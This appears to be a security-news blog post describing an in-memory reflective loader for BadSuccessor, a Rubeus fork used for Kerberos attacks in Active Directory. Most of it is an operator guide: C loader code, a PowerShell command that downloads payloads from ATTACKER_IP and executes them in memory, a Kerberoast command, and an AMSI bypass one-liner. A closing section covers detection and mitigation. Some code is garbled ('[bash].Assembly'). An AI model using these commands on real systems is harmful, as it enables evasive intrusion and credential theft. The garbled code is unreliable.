Listen to this Post
Introduction:
The eternal cat-and-mouse game in cybersecurity enters a new phase with the evolution of in-memory tradecraft. A new reflective loader for the BadSuccessor tool, which itself is a fork of the infamous Rubeus, demonstrates a significant leap in stealth and operational efficiency for red teams and, concerningly, for adversaries. This technique eliminates the need to compile or drop tools to disk, operating entirely within a process’s memory to evade traditional detection mechanisms.
Learning Objectives:
- Understand the concept and operational benefits of reflective loading in modern offensive security.
- Learn how to deploy the BadSuccessor reflective loader in an Active Directory environment, coupled with AMSI bypasses.
- Develop mitigation and detection strategies for in-memory tool execution and related tradecraft.
You Should Know:
- The Evolution of Rubeus and the Birth of BadSuccessor
Rubeus is a cornerstone tool for offensive security professionals performing Kerberos-based attacks in Active Directory environments. It is notorious for its capabilities in ticket dumping, pass-the-ticket, golden/silver ticket attacks, and Kerberoasting. BadSuccessor emerges as a community-driven fork, incorporating pull requests (PRs) that add new features or refine existing ones. The specific PR mentioned from JoeDibley introduces enhancements that are not yet part of the main Rubeus branch. Traditionally, using this required compiling the source code, a step that can leave forensic artifacts and complicate rapid deployment. The new reflective loader bypasses this entirely, loading the pre-built binary directly into memory.
- Demystifying Reflective Loaders: A Hacker’s Swiss Army Knife
A reflective loader is a technique that allows a Portable Executable (PE) file—like a DLL or EXE—to be loaded directly into a process’s memory without using the standard Windows API calls like LoadLibraryA. This is achieved by writing a custom loader that:
1. Allocates a region of memory with permissions like PAGE_EXECUTE_READWRITE.
2. Manually maps the PE file into this memory region, resolving its imports, applying base relocations, and setting the correct memory protection flags.
3. Finally, transferring execution to the PE’s entry point.
Step-by-Step Guide:
The core of a reflective loader can be implemented in C. Here is a simplified conceptual code snippet:
include <Windows.h>
// ... (Definitions for PE structures like IMAGE_DOS_HEADER, IMAGE_NT_HEADERS)
typedef void (DLL_ENTRY)(void);
void ReflectiveLoader(LPVOID lpBuffer) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBuffer;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)lpBuffer + pDosHeader->e_lfanew);
// 1. Allocate memory for the PE image
LPVOID lpBaseAddress = VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 2. Copy the PE headers and sections into the allocated memory
memcpy(lpBaseAddress, lpBuffer, pNtHeaders->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) {
LPVOID lpSectionDest = (LPBYTE)lpBaseAddress + pSectionHeader->VirtualAddress;
LPVOID lpSectionSrc = (LPBYTE)lpBuffer + pSectionHeader->PointerToRawData;
memcpy(lpSectionDest, lpSectionSrc, pSectionHeader->SizeOfRawData);
}
// 3. Resolve the Import Address Table (IAT)
// ... (Complex logic to load required DLLs and resolve function addresses)
// 4. Apply base relocations
// ... (Logic to adjust addresses if the image couldn't be loaded at its preferred base)
// 5. Set the correct memory protections for sections (e.g., .text to PAGE_EXECUTE_READ)
// ... (Logic using VirtualProtect)
// 6. Call the DLL's entry point (DllMain)
DLL_ENTRY DllMain = (DLL_ENTRY)((LPBYTE)lpBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
DllMain();
}
The tool discussed automates this entire process for the BadSuccessor binary.
3. Operationalizing the Loader: A Step-by-Step Engagement
To use this in a real-world red team scenario, an operator would follow these steps:
Step-by-Step Guide:
- Acquire the Loader: Download the reflective loader from the provided link (`https://lnkd.in/dKsP2aZV`).
- Acquire the Binary: Obtain the pre-compiled BadSuccessor binary from JoeDibley’s PR (`https://lnkd.in/dZTpmEDg`).
- Stage the Payload: Host the BadSuccessor binary on a web server under your control.
- Execute the Loader: On a compromised host (e.g., via a phishing payload or initial access), use a loader stager or a command like PowerShell to download the BadSuccessor binary into memory and pass it to the reflective loader.
Conceptual PowerShell command to download and execute in memory $Loader = (New-Object Net.WebClient).DownloadData("http://ATTACKER_IP/ReflectiveLoader.exe") $BadSuccessor = (New-Object Net.WebClient).DownloadData("http://ATTACKER_IP/BadSuccessor_PR.exe") $Assembly = [System.Reflection.Assembly]::Load($Loader) $Assembly.GetType("Loader.Program").GetMethod("Load").Invoke($null, @(,$BadSuccessor)) - Execute Tradecraft: Once loaded, BadSuccessor functions are available in memory. For example, you could perform a Kerberoast attack without touching the disk:
Commands would be executed in the reflective loader's context BadSuccessor.exe kerberoast /nowrap
4. Bypassing AMSI: The Essential Companion
The Microsoft Antimalware Scan Interface (AMSI) is a significant hurdle for in-memory attacks. It can scan PowerShell, VBScript, and other script-based content. The original post explicitly mentions coupling the loader with an AMSI bypass. A common and effective bypass involves patching the `amsi.dll` in memory.
Step-by-Step Guide (PowerShell):
This is a well-known technique that forces an error in AMSI initialization, effectively disabling it for the current process.
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
This command must be executed before any other script-based activity, ideally immediately after gaining a PowerShell session. Integrating this bypass directly into the loader’s stager code makes the attack chain completely fileless and evasive.
5. Detection and Mitigation: Shifting the Defensive Paradigm
Since this technique avoids the disk, defenses must focus on memory and process behavior.
Step-by-Step Guide for Defenders:
- Enable Command-Line Auditing: Use Windows Event Forwarding or SIEM solutions to collect Event ID 4688 with command-line arguments. Look for suspicious PowerShell execution flags or the loading of unknown modules.
- Implement AMSI: Ensure AMSI is enabled and functional. Monitor for events related to AMSI bypass attempts (Event ID 1110-1117 from Microsoft-Windows-Windows Defender/Operational log).
- Leverage EDR/NDR: Use Endpoint Detection and Response (EDR) tools to detect reflective DLL injection. Look for processes allocating large blocks of executable memory (e.g., `NtAllocateVirtualMemory` or `VirtualAlloc` with
PAGE_EXECUTE_READWRITE), especially from scripting engines like `powershell.exe` orcscript.exe. - Conduct Memory Forensics: In incident response, use tools like Volatility to dump process memory and scan for known BadSuccessor or Rubeus signatures.
- Harden the Environment: Apply the principle of least privilege to limit Kerberos ticket extraction. Use Protected Process Light (PPL) for LSASS and consider deploying Credential Guard on Windows 10/11 and Server 2016+ to protect derived credentials.
What Undercode Say:
- The Barrier to Entry for Advanced Tradecraft is Lowering. Tools that were once the domain of highly skilled operators who could compile and modify C projects are now becoming accessible to a wider range of adversaries through user-friendly, in-memory loaders.
- The Line Between Red Teams and Advanced Persistent Threats (APTs) is Blurring. The public release and refinement of these techniques mean that sophisticated, fileless attack chains are no longer exclusive to nation-state actors. This forces defenders to adopt an assumed-breach mentality and the corresponding tooling.
The development of this reflective loader is not just a minor tool update; it represents a maturation of the offensive tooling ecosystem. It moves beyond one-off exploits to create robust, reusable, and evasive delivery mechanisms for entire tool suites. This shifts the cost-benefit analysis significantly in favor of the attacker, requiring defenders to invest more heavily in behavioral detection and advanced endpoint security rather than relying on traditional signature-based AV. The explicit call to combine it with AMSI bypasses shows a holistic approach to evasion that is becoming the new standard.
Prediction:
The normalization of reflective loading for complex .NET tools like BadSuccessor will lead to a rapid increase in fileless post-exploitation activity in the wild. Within the next 12-18 months, we predict a surge in incident response cases where forensics find minimal to no disk-based evidence, even for complex Kerberos attacks. This will accelerate the adoption of memory forensics and runtime behavioral analytics as mandatory components of enterprise security. Furthermore, the success of this model will spur the development of similar “loaders” for other popular offensive frameworks, creating a new sub-market for evasion-as-a-service within the cybercriminal ecosystem.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Brunos Nunes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
